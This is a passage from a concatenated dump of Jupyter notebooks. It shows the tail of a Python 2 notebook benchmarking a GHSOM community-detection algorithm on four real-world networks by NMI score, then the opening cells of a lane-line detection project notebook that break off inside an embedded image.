network embedded_football.gml: [ 0.74325465]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 71\n", "running time of algorithm: 464.052999973\n", "saved nmi score for network embedded_football.gml: [ 0.73236701]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 72\n", "running time of algorithm: 3436.82800007\n", "saved nmi score for network embedded_football.gml: [ 0.74809465]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 73\n", "running time of algorithm: 462.070999861\n", "saved nmi score for network embedded_football.gml: [ 0.74592634]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 74\n", "running time of algorithm: 457.104000092\n", "saved nmi score for network embedded_football.gml: [ 0.73258787]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 75\n", "running time of algorithm: 454.437000036\n", "saved nmi score for network embedded_football.gml: [ 0.73275273]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 76\n", "running time of algorithm: 458.055000067\n", "saved nmi score for network embedded_football.gml: [ 0.74413533]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 77\n", "running time of algorithm: 456.859999895\n", "saved nmi score for network embedded_football.gml: [ 0.73258787]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 78\n", "running time of algorithm: 456.381999969\n", "saved nmi score for network embedded_football.gml: [ 0.74556709]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 79\n", "running time of algorithm: 454.223999977\n", "saved nmi score for network embedded_football.gml: [ 0.70722108]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 80\n", "running time of algorithm: 457.132999897\n", "saved nmi score for network embedded_football.gml: [ 0.73110737]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 81\n", "running time of algorithm: 455.485000134\n", "saved nmi score for network embedded_football.gml: [ 0.74472482]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 82\n", "running time of algorithm: 459.358999968\n", "saved nmi score for network embedded_football.gml: [ 0.72933692]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 83\n", "running time of algorithm: 462.375\n", "saved nmi score for network embedded_football.gml: [ 0.71976677]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 84\n", "running time of algorithm: 616.61500001\n", "saved nmi score for network embedded_football.gml: [ 0.76688797]\n", "saved communities detected for network embedded_football.gml: 7\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 85\n", "running time of algorithm: 602.028999805\n", "saved nmi score for network embedded_football.gml: [ 0.69797732]\n", "saved communities detected for network embedded_football.gml: 7\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 86\n", "running time of algorithm: 461.496000051\n", "saved nmi score for network embedded_football.gml: [ 0.74697188]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 87\n", "running time of algorithm: 461.351999998\n", "saved nmi score for network embedded_football.gml: [ 0.7251193]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 88\n", "running time of algorithm: 462.809000015\n", "saved nmi score for network embedded_football.gml: [ 0.74103259]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 89\n", "running time of algorithm: 461.953999996\n", "saved nmi score for network embedded_football.gml: [ 0.71806573]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 90\n", "running time of algorithm: 460.538000107\n", "saved nmi score for network embedded_football.gml: [ 0.74483646]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 91\n", "running time of algorithm: 456.234999895\n", "saved nmi score for network embedded_football.gml: [ 0.71883809]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 92\n", "running time of algorithm: 455.753000021\n", "saved nmi score for network embedded_football.gml: [ 0.74013123]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 93\n", "running time of algorithm: 456.67200017\n", "saved nmi score for network embedded_football.gml: [ 0.7251193]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 94\n", "running time of algorithm: 455.393999815\n", "saved nmi score for network embedded_football.gml: [ 0.74809465]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 95\n", "running time of algorithm: 455.477000237\n", "saved nmi score for network embedded_football.gml: [ 0.74540174]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 96\n", "running time of algorithm: 456.679999828\n", "saved nmi score for network embedded_football.gml: [ 0.72950091]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 97\n", "running time of algorithm: 457.373000145\n", "saved nmi score for network embedded_football.gml: [ 0.72042274]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 98\n", "running time of algorithm: 455.207000017\n", "saved nmi score for network embedded_football.gml: [ 0.72049412]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 99\n", "running time of algorithm: 453.335999966\n", "saved nmi score for network embedded_football.gml: [ 0.73077253]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "starting ghsom for: embedded_football.gml, repeat: 100\n", "running time of algorithm: 456.376000166\n", "saved nmi score for network embedded_football.gml: [ 0.72636191]\n", "saved communities detected for network embedded_football.gml: 6\n", "\n", "writing nmi scores and running times to file\n", "DONE\n", "OVERALL NMI SCORES\n", "[[ 0.5294656 0.64121264 0.43852015 0.43852015 0.5294656 0.44880013\n", " 0.46959898 0.43852015 0.4767809 0.5294656 0.44880013 0.5294656\n", " 0.43852015 0.5294656 0.5294656 0.52460052 0.4767809 0.58033157\n", " 0.44880013 0.5294656 0.43852015 0.52460052 0.44880013 0.59204037\n", " 0.43852015 0.44880013 0.52003736 0.52460052 0.43852015 0.5294656\n", " 0.52003736 0.46959898 0.5294656 0.58842383 0.62312666 0.47834623\n", " 0.43852015 0.5294656 0.44880013 0.43852015 0.52141818 0.43852015\n", " 0.43324696 0.5294656 0.52141818 0.43852015 0.52141818 0.44880013\n", " 0.5294656 0.43324696 0.44880013 0.58033157 0.52003736 0.64121264\n", " 0.5294656 0.59204037 0.52460052 0.52460052 0.58033157 0.43852015\n", " 0.52141818 0.44880013 0.52460052 0.46959898 0.52460052 0.43852015\n", " 0.43852015 0.62312666 0.43310466 0.52460052 0.58842383 0.43324696\n", " 0.44880013 0.52141818 0.43852015 0.62312666 0.44880013 0.43852015\n", " 0.5294656 0.43324696 0.44880013 0.5294656 0.43324696 0.43324696\n", " 0.43324696 0.5294656 0.5294656 0.43852015 0.5294656 0.43852015\n", " 0.5294656 0.43852015 0.44880013 0.64121264 0.52218299 0.58033157\n", " 0.5294656 0.43852015 0.58842383 0.5294656 ]\n", " [ 0.49585313 0.49609041 0.49450469 0.4917876 0.63614901 0.48984984\n", " 0.49609041 0.53135785 0.51999994 0.48984984 0.48984984 0.49788256\n", " 0.49609041 0.48707936 0.48390454 0.48984984 0.50423703 0.49609041\n", " 0.4865605 0.47649063 0.4865605 0.49609041 0.47675483 0.50563041\n", " 0.48984984 0.4865605 0.47675483 0.4865605 0.5057058 0.49788256\n", " 0.49609041 0.4865605 0.48390454 0.49585313 0.48390454 0.48984984\n", " 0.48707936 0.47649063 0.4865605 0.48984984 0.51999994 0.4865605\n", " 0.50423703 0.4917876 0.48390454 0.48984984 0.48390454 0.47649063\n", " 0.48952268 0.49609041 0.48707936 0.49788256 0.4865605 0.47675483\n", " 0.41803608 0.50423703 0.4865605 0.49609041 0.47675483 0.4917876\n", " 0.50423703 0.50563041 0.48984984 0.48756107 0.4865605 0.49450469\n", " 0.49609041 0.49609041 0.49609041 0.53533936 0.48984984 0.5057058\n", " 0.50563041 0.53492331 0.55696111 0.47675483 0.4865605 0.49788256\n", " 0.49609041 0.49585313 0.41784177 0.48984984 0.48548981 0.50423703\n", " 0.47675483 0.5057058 0.49609041 0.49585313 0.47675483 0.41803608\n", " 0.4865605 0.4865605 0.49992211 0.4917876 0.47675483 0.53533936\n", " 0.48952268 0.49609041 0.49609041 0.4865605 ]\n", " [ 0.52008129 0.51076215 0.51076215 0.51076215 0.55233631 0.51312341\n", " 0.52854272 0.50739484 0.52008129 0.51076215 0.51076215 0.51076215\n", " 0.51076215 0.5198172 0.51009765 0.51076215 0.51076215 0.51076215\n", " 0.51009765 0.52008129 0.51076215 0.51076215 0.51009765 0.51009765\n", " 0.51076215 0.51009765 0.51009765 0.51076215 0.5155065 0.51076215\n", " 0.51009765 0.55442909 0.51009765 0.5198172 0.5198172 0.51076215\n", " 0.53003463 0.51009765 0.51076215 0.51312341 0.51009765 0.51312341\n", " 0.51076215 0.51009765 0.56007797 0.51076215 0.51009765 0.51009765\n", " 0.53746942 0.51009765 0.50739484 0.53746942 0.51813975 0.51076215\n", " 0.51312341 0.54654507 0.51076215 0.51813975 0.51813975 0.51813975\n", " 0.54834672 0.51076215 0.55583245 0.5198172 0.51076215 0.51076215\n", " 0.56779484 0.55428333 0.51312341 0.50739484 0.51009765 0.51076215\n", " 0.51009765 0.51076215 0.55703709 0.5385141 0.51076215 0.51009765\n", " 0.51076215 0.51076215 0.51009765 0.51076215 0.51009765 0.51312341\n", " 0.51009765 0.51009765 0.53746942 0.51076215 0.51009765 0.51009765\n", " 0.51076215 0.56007797 0.5443955 0.51009765 0.51076215 0.52106516\n", " 0.51076215 0.51009765 0.53683612 0.51076215]\n", " [ 0.74697188 0.74570757 0.74570757 0.73077253 0.74508974 0.72049412\n", " 0.74749562 0.74540174 0.75120458 0.75120458 0.73099384 0.73183017\n", " 0.73995116 0.7535908 0.73066913 0.74556709 0.73940396 0.74697188\n", " 0.75211174 0.73258787 0.75211174 0.75864818 0.7167881 0.74629601\n", " 0.73077253 0.72900981 0.7535814 0.75013003 0.73099384 0.72049412\n", " 0.74749562 0.744242 0.70722108 0.70569521 0.74697188 0.7209483\n", " 0.69404868 0.74749562 0.73077253 0.73066913 0.72378162 0.74697188\n", " 0.7535908 0.73258787 0.70773246 0.73099384 0.73404276 0.70722108\n", " 0.74472482 0.71868264 0.71806573 0.71751767 0.74325465 0.7185385\n", " 0.74472482 0.70773246 0.74393581 0.73738924 0.70722108 0.74413533\n", " 0.73258787 0.71751767 0.70722108 0.73404276 0.70821157 0.74749562\n", " 0.73738924 0.74393581 0.73916499 0.74325465 0.73236701 0.74809465\n", " 0.74592634 0.73258787 0.73275273 0.74413533 0.73258787 0.74556709\n", " 0.70722108 0.73110737 0.74472482 0.72933692 0.71976677 0.76688797\n", " 0.69797732 0.74697188 0.7251193 0.74103259 0.71806573 0.74483646\n", " 0.71883809 0.74013123 0.7251193 0.74809465 0.74540174 0.72950091\n", " 0.72042274 0.72049412 0.73077253 0.72636191]]\n", "[[ 4. 3. 3. 3. 4. 3. 4. 3. 3. 4. 3. 4. 3. 4. 4. 3. 3. 4.\n", " 3. 4. 3. 3. 3. 3. 3. 3. 3. 3. 3. 4. 3. 4. 4. 3. 3. 4.\n", " 3. 4. 3. 3. 3. 3. 4. 4. 3. 3. 3. 3. 4. 4. 3. 4. 3. 3.\n", " 4. 3. 3. 3. 4. 3. 3. 3. 3. 4. 3. 3. 3. 3. 3. 3. 3. 4.\n", " 3. 3. 3. 3. 3. 3. 4. 4. 3. 4. 4. 4. 4. 4. 4. 3. 4. 3.\n", " 4. 3. 3. 3. 4. 4. 4. 3. 3. 4.]\n", " [ 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4.\n", " 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4.\n", " 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4.\n", " 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4.\n", " 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4.\n", " 4. 4. 4. 4. 4. 4. 4. 4. 4. 4.]\n", " [ 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4.\n", " 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4.\n", " 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4.\n", " 4. 4. 4. 4. 4. 4. 3. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4.\n", " 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4. 4.\n", " 4. 4. 3. 4. 4. 4. 4. 4. 4. 4.]\n", " [ 6. 6. 6. 6. 7. 6. 6. 6. 6. 6. 6. 8. 7. 7. 6. 6. 6. 6.\n", " 6. 6. 6. 6. 6. 6. 6. 6. 6. 7. 6. 6. 6. 6. 6. 6. 6. 6.\n", " 7. 6. 6. 6. 7. 6. 7. 6. 6. 6. 6. 6. 6. 6. 6. 6. 6. 6.\n", " 6. 6. 6. 7. 6. 6. 6. 6. 6. 6. 6. 6. 7. 6. 7. 6. 6. 6.\n", " 6. 6. 6. 6. 6. 6. 6. 6. 6. 6. 6. 7. 7. 6. 6. 6. 6. 6.\n", " 6. 6. 6. 6. 6. 6. 6. 6. 6. 6.]]\n" ] } ], "source": [ "import os\n", "from shutil import copyfile\n", "import subprocess\n", "from spearmint_ghsom import main as ghsom_main\n", "import numpy as np\n", "import pickle\n", "from time import time\n", "import networkx as nx\n", "\n", "def save_obj(obj, name):\n", " with open(name + '.pkl', 'wb') as f:\n", " pickle.dump(obj, f, pickle.HIGHEST_PROTOCOL)\n", "\n", "def load_obj(name):\n", " with open(name + '.pkl', 'rb') as f:\n", " return pickle.load(f)\n", "\n", "#root dir\n", "os.chdir(\"C:\\Miniconda3\\Jupyter\\GHSOM_simplex_dsd\")\n", "\n", "#save directory\n", "dir = os.path.abspath(\"real_world_benchmarks_derived\")\n", "\n", "#number of times to repeat\n", "num_repeats = 100\n", "\n", "#make save directory\n", "if not os.path.isdir(dir):\n", " os.mkdir(dir)\n", "\n", "#change to dir\n", "os.chdir(dir) \n", "\n", "\n", "\n", "#network names\n", "network_names = ['karate','dolphin','polbooks','football']\n", "\n", "#community labels\n", "labels = ['club','group','value','value']\n", "\n", "overall_nmi_scores = np.zeros((len(network_names), num_repeats))\n", "overall_communities_detected = np.zeros((len(network_names), num_repeats))\n", "\n", "for i in range(len(network_names)):\n", " \n", " #name of current network\n", " network_name = network_names[i]\n", "\n", " #label of current network\n", " label = labels[i]\n", " \n", " #create directory\n", " dir_string = os.path.join(dir, network_name)\n", " if not os.path.isdir(dir_string):\n", " os.mkdir(dir_string)\n", " \n", " #change working directory \n", " os.chdir(dir_string)\n", " \n", " if os.path.isfile('nmi_scores.csv'):\n", " print 'already completed {} network, loading nmi scores and continuing'.format(network_name)\n", " nmi_scores = np.genfromtxt('nmi_scores.csv', delimiter=',')\n", " overall_nmi_scores[i] = nmi_scores\n", " communities_detected = np.genfromtxt('communties_detected.csv', delimiter=',')\n", " overall_communities_detected[i] = communities_detected\n", " continue\n", " \n", " #record NMI scores\n", " if not os.path.isfile('nmi_scores.pkl'):\n", " print 'creating new nmi scores array'\n", " nmi_scores = np.zeros(num_repeats)\n", " else:\n", " print 'loading nmi score progress'\n", " nmi_scores = load_obj('nmi_scores')\n", " \n", " #record running times\n", " if not os.path.isfile('running_times.pkl'):\n", " print 'creating new running time array'\n", " running_times = np.zeros(num_repeats)\n", " else:\n", " print 'loading running time progress'\n", " running_times = load_obj('running_times')\n", " \n", " #record communities detected\n", " if not os.path.isfile('communities_detected.pkl'):\n", " print 'creating new communites detected array'\n", " communities_detected = np.zeros(num_repeats)\n", " else:\n", " print 'loading communites detected progress'\n", " communities_detected = load_obj('communities_detected')\n", " \n", " #copy embedded gml\n", " gml_filename = 'embedded_{}.gml'.format(network_name) \n", " if not os.path.isfile(gml_filename):\n", " \n", " source = \"C:\\Miniconda3\\Jupyter\\GHSOM_simplex_dsd\\{}\".format(gml_filename)\n", " copyfile(source, gml_filename)\n", " ##calculate density and derive parameter setting\n", " \n", " #load graph and calculate density\n", " G = nx.read_gml(gml_filename)\n", " density = nx.density(G)\n", " \n", " #derive parameter setting -- from scipy\n", " e_sg = 0.377746404462 * density + 0.590217653032\n", " \n", " print 'density of network={}'.format(density)\n", " print 'e_sg={}'.format(e_sg)\n", " \n", " #ghsom parameters\n", " params = {'w': 0.0001,\n", " 'eta': 0.0001,\n", " 'sigma': 1,\n", " 'e_sg': e_sg,\n", " 'e_en': 0.8}\n", " \n", " #generate networks\n", " for r in range(1,num_repeats+1):\n", " \n", " ##score for this network\n", " if not np.all(nmi_scores[r-1]):\n", " \n", " start_time = time()\n", " \n", " print 'starting ghsom for: {}, repeat: {}'.format(gml_filename, r)\n", " nmi_score, comm_det = ghsom_main(params, gml_filename, label, 10000)\n", " nmi_scores[r-1] = nmi_score\n", " communities_detected[r-1] = comm_det\n", " \n", " running_time = time() - start_time\n", " print 'running time of algorithm: {}'.format(running_time)\n", " running_times[r-1] = running_time\n", " \n", " #save\n", " save_obj(nmi_scores, 'nmi_scores')\n", " save_obj(running_times, 'running_times')\n", " save_obj(communities_detected, 'communities_detected')\n", " \n", " print 'saved nmi score for network {}: {}'.format(gml_filename, nmi_score)\n", " print 'saved communities detected for network {}: {}'.format(gml_filename, comm_det)\n", " print\n", " \n", " ##output nmi scores to csv file\n", " print 'writing nmi scores and running times to file'\n", " np.savetxt('nmi_scores.csv',nmi_scores,delimiter=',')\n", " np.savetxt('running_times.csv',running_times,delimiter=',')\n", " np.savetxt('communties_detected.csv',communities_detected,delimiter=',')\n", " \n", " overall_nmi_scores[i] = nmi_scores\n", " overall_communities_detected[i] = communities_detected\n", " \n", "print 'DONE'\n", "\n", "print 'OVERALL NMI SCORES'\n", "print overall_nmi_scores\n", "print overall_communities_detected" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "0.500371004372\n", "0.000426054968268\n", "\n", "0.523271512179\n", "0.000694054672717\n", "\n", "0.516600171505\n", "0.000146423780636\n", "\n", "0.738648910478\n", "0.000166885582662\n", "\n" ] } ], "source": [ "for score in overall_nmi_scores:\n", " \n", " mean = np.mean(score)\n", " print mean\n", " se = np.std(score) / np.sqrt(num_repeats)\n", " print se\n", " print" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "0.139037433155\n", "0.139037433155\n" ] } ], "source": [ "import networkx as nx\n", "\n", "G = nx.read_gml('embedded_karate.gml')\n", "\n", "print nx.density(G)\n", "print 2.0 * nx.number_of_edges(G) / (nx.number_of_nodes(G) * (nx.number_of_nodes(G) - 1))" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "anaconda-cloud": {}, "kernelspec": { "display_name": "Python [conda env:py27]", "language": "python", "name": "conda-env-py27-py" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.9" } }, "nbformat": 4, "nbformat_minor": 1 }

gpl-2.0

vsingla2/Self-Driving-Car-NanoDegree-Udacity

Term1-Computer-Vision-and-Deep-Learning/Project1-Finding-Lane-Lines/P1.ipynb

1

858251

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "# Self-Driving Car Engineer Nanodegree\n", "\n", "\n", "## Project: **Finding Lane Lines on the Road** \n", "***\n", "In this project, you will use the tools you learned about in the lesson to identify lane lines on the road. You can develop your pipeline on a series of individual images, and later apply the result to a video stream (really just a series of images). Check out the video clip \"raw-lines-example.mp4\" (also contained in this repository) to see what the output should look like after using the helper functions below. \n", "\n", "Once you have a result that looks roughly like \"raw-lines-example.mp4\", you'll need to get creative and try to average and/or extrapolate the line segments you've detected to map out the full extent of the lane lines. You can see an example of the result you're going for in the video \"P1_example.mp4\". Ultimately, you would like to draw just one line for the left side of the lane, and one for the right.\n", "\n", "In addition to implementing code, there is a brief writeup to complete. The writeup should be completed in a separate file, which can be either a markdown file or a pdf document. There is a [write up template](https://github.com/udacity/CarND-LaneLines-P1/blob/master/writeup_template.md) that can be used to guide the writing process. Completing both the code in the Ipython notebook and the writeup template will cover all of the [rubric points](https://review.udacity.com/#!/rubrics/322/view) for this project.\n", "\n", "---\n", "Let's have a look at our first image called 'test_images/solidWhiteRight.jpg'. Run the 2 cells below (hit Shift-Enter or the \"play\" button above) to display the image.\n", "\n", "**Note: If, at any point, you encounter frozen display windows or other confounding issues, you can always start again with a clean slate by going to the \"Kernel\" menu above and selecting \"Restart & Clear Output\".**\n", "\n", "---" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The tools you have are color selection, region of interest selection, grayscaling, Gaussian smoothing, Canny Edge Detection and Hough Tranform line detection. You are also free to explore and try other techniques that were not presented in the lesson. Your goal is piece together a pipeline to detect the line segments in the image, then average/extrapolate them and draw them onto the image for display (as below). Once you have a working pipeline, try it out on the video stream below.**\n", "\n", "---\n", "\n", "<figure>\n", " <img src=\"examples/line-segments-example.jpg\" width=\"380\" alt=\"Combined Image\" />\n", " <figcaption>\n", " <p></p> \n", " <p style=\"text-align: center;\"> Your output should look something like this (above) after detecting line segments using the helper functions below </p> \n", " </figcaption>\n", "</figure>\n", " <p></p> \n", "<figure>\n", " <img src=\"examples/laneLines_thirdPass.jpg\" width=\"380\" alt=\"Combined Image\" />\n", " <figcaption>\n", " <p></p> \n", " <p style=\"text-align: center;\"> Your goal is to connect/average/extrapolate line segments to get output like this</p> \n", " </figcaption>\n", "</figure>" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**Run the cell below to import some packages. If you get an `import error` for a package you've already installed, try changing your kernel (select the Kernel menu above --> Change Kernel). Still have problems? Try relaunching Jupyter Notebook from the terminal prompt. Also, see [this forum post](https://carnd-forums.udacity.com/cq/viewquestion.action?spaceKey=CAR&id=29496372&questionTitle=finding-lanes---import-cv2-fails-even-though-python-in-the-terminal-window-has-no-problem-with-import-cv2) for more troubleshooting tips.** " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Import Packages" ] }, { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": true }, "outputs": [], "source": [ "#importing some useful packages\n", "import matplotlib.pyplot as plt\n", "import matplotlib.image as mpimg\n", "import numpy as np\n", "import cv2\n", "%matplotlib inline" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Read in an Image" ] }, { "cell_type": "code", "execution_count": 2, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "This image is: <class 'numpy.ndarray'> with dimensions: (540, 960, 3)\n" ] }, { "data": { "text/plain": [ "<matplotlib.image.AxesImage at 0x1a43c090978>" ] }, "execution_count": 2, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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